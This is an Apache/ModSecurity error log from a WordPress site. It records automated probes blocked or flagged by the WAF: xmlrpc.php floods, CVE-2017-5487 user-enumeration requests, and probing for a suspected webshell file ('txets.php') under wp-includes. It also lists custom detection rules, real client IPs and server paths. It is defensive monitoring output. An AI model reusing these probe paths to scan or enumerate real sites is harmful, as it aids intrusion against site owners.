[Thu Mar 19 13:58:08.862917 2026] [:error] [pid 11110:tid 11130] [client 118.185.6.37:63381] [client 118.185.6.37] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 118.185.6.37, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "abuQcASNPqGfikw7k8Iv_gAAAA8"]
[Thu Mar 19 13:59:08.702436 2026] [:error] [pid 11016:tid 11088] [client 202.53.14.108:63900] [client 202.53.14.108] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 202.53.14.108, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "abuQrBPK94J9G19C6uXMkwAAAQ8"]
[Thu Mar 19 14:00:11.526344 2026] [:error] [pid 11014:tid 11041] [client 118.185.6.37:64320] [client 118.185.6.37] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 118.185.6.37, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "abuQ6zBVizvrAl0DfCC_FQAAAFY"]
[Thu Mar 19 14:34:53.844859 2026] [autoindex:error] [pid 11015:tid 11070] [client 207.180.194.94:57631] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-admin/css/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive, referer: binance.com
[Thu Mar 19 17:20:35.626099 2026] [:error] [pid 1247:tid 1254] [client 150.228.113.77:62338] [client 150.228.113.77] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||rcacivilgroup.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "rcacivilgroup.com"] [uri "/wp-json/wp/v2/users"] [unique_id "abu_4w5tmeOr-yI4XNF_AgAAAcU"]
[Thu Mar 19 17:22:04.079340 2026] [:error] [pid 48106:tid 48126] [client 150.228.113.77:34678] [client 150.228.113.77] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 150.228.113.77, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "abvAPMVZaUGvkz29lZH-wQAAAMw"]
[Thu Mar 19 17:23:13.699746 2026] [:error] [pid 1285:tid 1305] [client 150.228.113.77:20043] [client 150.228.113.77] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 150.228.113.77, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "abvAgVE95r3zR75X1HrRRgAAAhI"]
[Thu Mar 19 17:24:20.719467 2026] [:error] [pid 1247:tid 1258] [client 150.228.113.77:63134] [client 150.228.113.77] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 150.228.113.77, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "abvAxA5tmeOr-yI4XNGAwwAAAck"]
[Thu Mar 19 21:20:40.629354 2026] [:error] [pid 51091:tid 51132] [client 194.26.192.111:64828] [client 194.26.192.111] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/widgets/txets.php"] [unique_id "abv4KL7LZKhdJPD9CBvahAAAAVU"]
[Thu Mar 19 21:20:41.967095 2026] [:error] [pid 1441:tid 1448] [client 194.26.192.111:62881] [client 194.26.192.111] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/rest-api/txets.php"] [unique_id "abv4KYf6BGzjfVNuehUgZQAAAwU"]
[Thu Mar 19 21:20:43.019933 2026] [:error] [pid 11015:tid 11062] [client 194.26.192.111:53511] [client 194.26.192.111] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/blocks/post-template/txets.php"] [unique_id "abv4K_PcMwFQZAVfzLSBpAAAAJA"]
[Thu Mar 19 21:20:46.029459 2026] [:error] [pid 1397:tid 1413] [client 194.26.192.111:54980] [client 194.26.192.111] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/txets.php"] [unique_id "abv4Lnptc6vBjy-kgOMdoAAAAs4"]
[Thu Mar 19 23:26:42.426126 2026] [:error] [pid 1397:tid 1406] [client 168.228.179.137:11287] [client 168.228.179.137] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 168.228.179.137, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "abwVsnptc6vBjy-kgOMtBgAAAsc"]
[Thu Mar 19 23:35:36.624433 2026] [:error] [pid 11015:tid 11066] [client 170.106.163.48:56136] [client 170.106.163.48] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.rcacivilgroup.com|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.rcacivilgroup.com"] [uri "/"] [unique_id "abwXyPPcMwFQZAVfzLSi_AAAAJQ"]
[Thu Mar 19 23:38:45.284047 2026] [:error] [pid 1397:tid 1411] [client 168.228.179.137:12422] [client 168.228.179.137] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||rcacivilgroup.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "rcacivilgroup.com"] [uri "/wp-json/wp/v2/users"] [unique_id "abwYhXptc6vBjy-kgOMuHQAAAsw"]
[Fri Mar 20 01:14:30.161247 2026] [:error] [pid 46264:tid 46297] [client 209.97.171.56:62264] [client 209.97.171.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/"] [unique_id "abwu9op3TruHFmWOt5HWhgAAAA4"]
[Fri Mar 20 01:14:30.544033 2026] [:error] [pid 11258:tid 11280] [client 209.97.171.56:61637] [client 209.97.171.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/"] [unique_id "abwu9pPHb95f6xzHJOcPbgAAANQ"]
[Fri Mar 20 01:14:30.605350 2026] [:error] [pid 46264:tid 46298] [client 209.97.171.56:64702] [client 209.97.171.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/"] [unique_id "abwu9op3TruHFmWOt5HWrAAAAA8"]
[Fri Mar 20 01:14:30.924266 2026] [:error] [pid 11258:tid 11282] [client 209.97.171.56:64765] [client 209.97.171.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/wlwmanifest.xml"] [unique_id "abwu9pPHb95f6xzHJOcPfgAAANY"]
[Fri Mar 20 01:14:31.111871 2026] [:error] [pid 46264:tid 46290] [client 209.97.171.56:62264] [client 209.97.171.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/"] [unique_id "abwu94p3TruHFmWOt5HWtQAAAAc"]
[Fri Mar 20 01:14:31.426621 2026] [:error] [pid 46264:tid 46290] [client 209.97.171.56:63572] [client 209.97.171.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/wlwmanifest.xml"] [unique_id "abwu94p3TruHFmWOt5HWvAAAAAc"]
[Fri Mar 20 02:00:57.144131 2026] [:error] [pid 46124:tid 46204] [client 203.189.134.85:56650] [client 203.189.134.85] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 203.189.134.85, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "abw52UzMrlLOY6zyCjKIMAAAAFg"]
[Fri Mar 20 02:01:13.863837 2026] [:error] [pid 46264:tid 46296] [client 114.79.136.220:51744] [client 114.79.136.220] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 114.79.136.220, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "abw56Yp3TruHFmWOt5HzWgAAAA0"]
[Fri Mar 20 02:03:30.924392 2026] [:error] [pid 46264:tid 46296] [client 114.79.136.220:63373] [client 114.79.136.220] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||rcacivilgroup.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "rcacivilgroup.com"] [uri "/wp-json/wp/v2/users"] [unique_id "abw6cop3TruHFmWOt5H0zwAAAA0"]
[Fri Mar 20 02:04:15.645722 2026] [:error] [pid 46124:tid 46200] [client 114.79.136.220:63773] [client 114.79.136.220] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 114.79.136.220, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "abw6n0zMrlLOY6zyCjKJaQAAAFQ"]
[Fri Mar 20 02:05:12.354866 2026] [:error] [pid 46126:tid 46227] [client 203.189.134.85:60091] [client 203.189.134.85] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||rcacivilgroup.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "rcacivilgroup.com"] [uri "/wp-json/wp/v2/users"] [unique_id "abw62KQ44YePbsZz3j7acgAAAQg"]
[Fri Mar 20 02:06:01.278963 2026] [:error] [pid 46124:tid 46182] [client 203.189.134.85:60499] [client 203.189.134.85] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 203.189.134.85, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "abw7CUzMrlLOY6zyCjKKPQAAAEI"]
[Fri Mar 20 06:09:26.083388 2026] [autoindex:error] [pid 55299:tid 55327] [client 37.77.150.124:56990] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive, referer: http://rcacivilgroup.com/wp-includes/
[Fri Mar 20 06:32:16.245991 2026] [:error] [pid 55301:tid 55365] [client 200.152.97.192:62513] [client 200.152.97.192] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 200.152.97.192, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "abx5cMKP1x4sgmjd3xRSlwAAAoM"]
[Fri Mar 20 06:37:55.597943 2026] [:error] [pid 55206:tid 55231] [client 200.152.97.192:50127] [client 200.152.97.192] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||rcacivilgroup.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "rcacivilgroup.com"] [uri "/wp-json/wp/v2/users"] [unique_id "abx6w3Uc_Wl5viVmsDwgBQAAAVc"]
[Fri Mar 20 06:39:15.214069 2026] [:error] [pid 55299:tid 55311] [client 200.152.97.192:50680] [client 200.152.97.192] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 200.152.97.192, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "abx7E_oGhbNgkNIkZwlzgwAAAgY"]
[Fri Mar 20 10:15:31.760752 2026] [:error] [pid 51714:tid 51721] [client 43.133.187.11:55104] [client 43.133.187.11] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.rcacivilgroup.com|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.rcacivilgroup.com"] [uri "/"] [unique_id "abytwzWI82pxvQ0gksshBAAAAIU"]
[Fri Mar 20 13:28:25.022041 2026] [:error] [pid 49080:tid 49088] [client 221.229.106.25:51018] [client 221.229.106.25] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.rcacivilgroup.com|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.rcacivilgroup.com"] [uri "/"] [unique_id "abza-Yk5CHi4V0A3tthJ8wAAAEI"]
[Fri Mar 20 13:29:34.873798 2026] [autoindex:error] [pid 49081:tid 49139] [client 23.100.100.188:6784] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-admin/images/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Fri Mar 20 13:29:41.464094 2026] [:error] [pid 49081:tid 49138] [client 23.100.100.188:6784] [client 23.100.100.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-content/uploads/"] [unique_id "abzbRRo1LBAUhfhYPR2YaQAAARc"]
[Fri Mar 20 13:29:41.925753 2026] [:error] [pid 49170:tid 49180] [client 23.100.100.188:5600] [client 23.100.100.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-content/uploads/"] [unique_id "abzbRc-c8ctLVDCqUJUMswAAAAY"]
[Fri Mar 20 13:29:42.404537 2026] [:error] [pid 51714:tid 51722] [client 23.100.100.188:5591] [client 23.100.100.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-content/uploads/"] [unique_id "abzbRjWI82pxvQ0gksuRdQAAAIY"]
[Fri Mar 20 13:29:42.866718 2026] [:error] [pid 51714:tid 51726] [client 23.100.100.188:2210] [client 23.100.100.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-content/uploads/"] [unique_id "abzbRjWI82pxvQ0gksuRdgAAAIo"]
[Fri Mar 20 14:30:33.125537 2026] [autoindex:error] [pid 49081:tid 49116] [client 141.98.11.17:51308] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-admin/css/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive, referer: binance.com
[Fri Mar 20 14:40:47.930789 2026] [:error] [pid 49080:tid 49097] [client 178.51.24.75:22177] [client 178.51.24.75] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 178.51.24.75, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "abzr74k5CHi4V0A3tthvbgAAAEs"]
[Fri Mar 20 14:44:18.860017 2026] [:error] [pid 51714:tid 51720] [client 178.51.24.75:33538] [client 178.51.24.75] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||rcacivilgroup.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "rcacivilgroup.com"] [uri "/wp-json/wp/v2/users"] [unique_id "abzswjWI82pxvQ0gksuhtAAAAIQ"]
[Fri Mar 20 14:45:31.729956 2026] [:error] [pid 49170:tid 49182] [client 178.51.24.75:10069] [client 178.51.24.75] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 178.51.24.75, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "abztC8-c8ctLVDCqUJUkCwAAAAg"]
[Fri Mar 20 16:32:41.004825 2026] [:error] [pid 49080:tid 49106] [client 49.51.183.15:42026] [client 49.51.183.15] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.rcacivilgroup.com|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.rcacivilgroup.com"] [uri "/"] [unique_id "ab0GKYk5CHi4V0A3ttioAQAAAFQ"]
[Fri Mar 20 20:13:34.952954 2026] [:error] [pid 38219:tid 38240] [client 216.24.212.11:38051] [client 216.24.212.11] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 216.24.212.11, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "ab057nLdNs2F_zXG7H_7qwAAAYo"]
[Fri Mar 20 21:48:28.944389 2026] [:error] [pid 38305:tid 38332] [client 170.106.107.87:58164] [client 170.106.107.87] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.rcacivilgroup.com|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.rcacivilgroup.com"] [uri "/"] [unique_id "ab1QLHguiB3cZkKG6iJC1QAAAdQ"]
[Sat Mar 21 00:19:25.464273 2026] [autoindex:error] [pid 49082:tid 49161] [client 141.98.11.17:62526] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-admin/css/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive, referer: binance.com
[Sat Mar 21 01:24:51.409571 2026] [:error] [pid 62479:tid 62531] [client 115.96.216.194:65099] [client 115.96.216.194] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 115.96.216.194, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ab2C4_KZ7MVNG8qirU9ceAAAARQ"]
[Sat Mar 21 01:24:54.582852 2026] [:error] [pid 62754:tid 62823] [client 1.22.105.183:27882] [client 1.22.105.183] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 1.22.105.183, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ab2C5hwXN_jHGJ5L7yFgkAAAAAg"]
[Sat Mar 21 01:27:59.042715 2026] [:error] [pid 62479:tid 62515] [client 1.22.105.183:27931] [client 1.22.105.183] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||rcacivilgroup.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "rcacivilgroup.com"] [uri "/wp-json/wp/v2/users"] [unique_id "ab2Dn_KZ7MVNG8qirU9eGAAAAQQ"]
[Sat Mar 21 01:28:09.318942 2026] [:error] [pid 62479:tid 62530] [client 115.96.216.194:51515] [client 115.96.216.194] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||rcacivilgroup.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "rcacivilgroup.com"] [uri "/wp-json/wp/v2/users"] [unique_id "ab2DqfKZ7MVNG8qirU9eMgAAARM"]
[Sat Mar 21 01:28:58.887176 2026] [:error] [pid 62480:tid 62540] [client 1.22.105.183:27970] [client 1.22.105.183] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 1.22.105.183, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ab2D2rq1lu6xCJtkVarupQAAAUI"]
[Sat Mar 21 01:29:14.598653 2026] [:error] [pid 62476:tid 62491] [client 115.96.216.194:52349] [client 115.96.216.194] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 115.96.216.194, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ab2D6mBL9BQ4RM1FKIB41gAAAEg"]
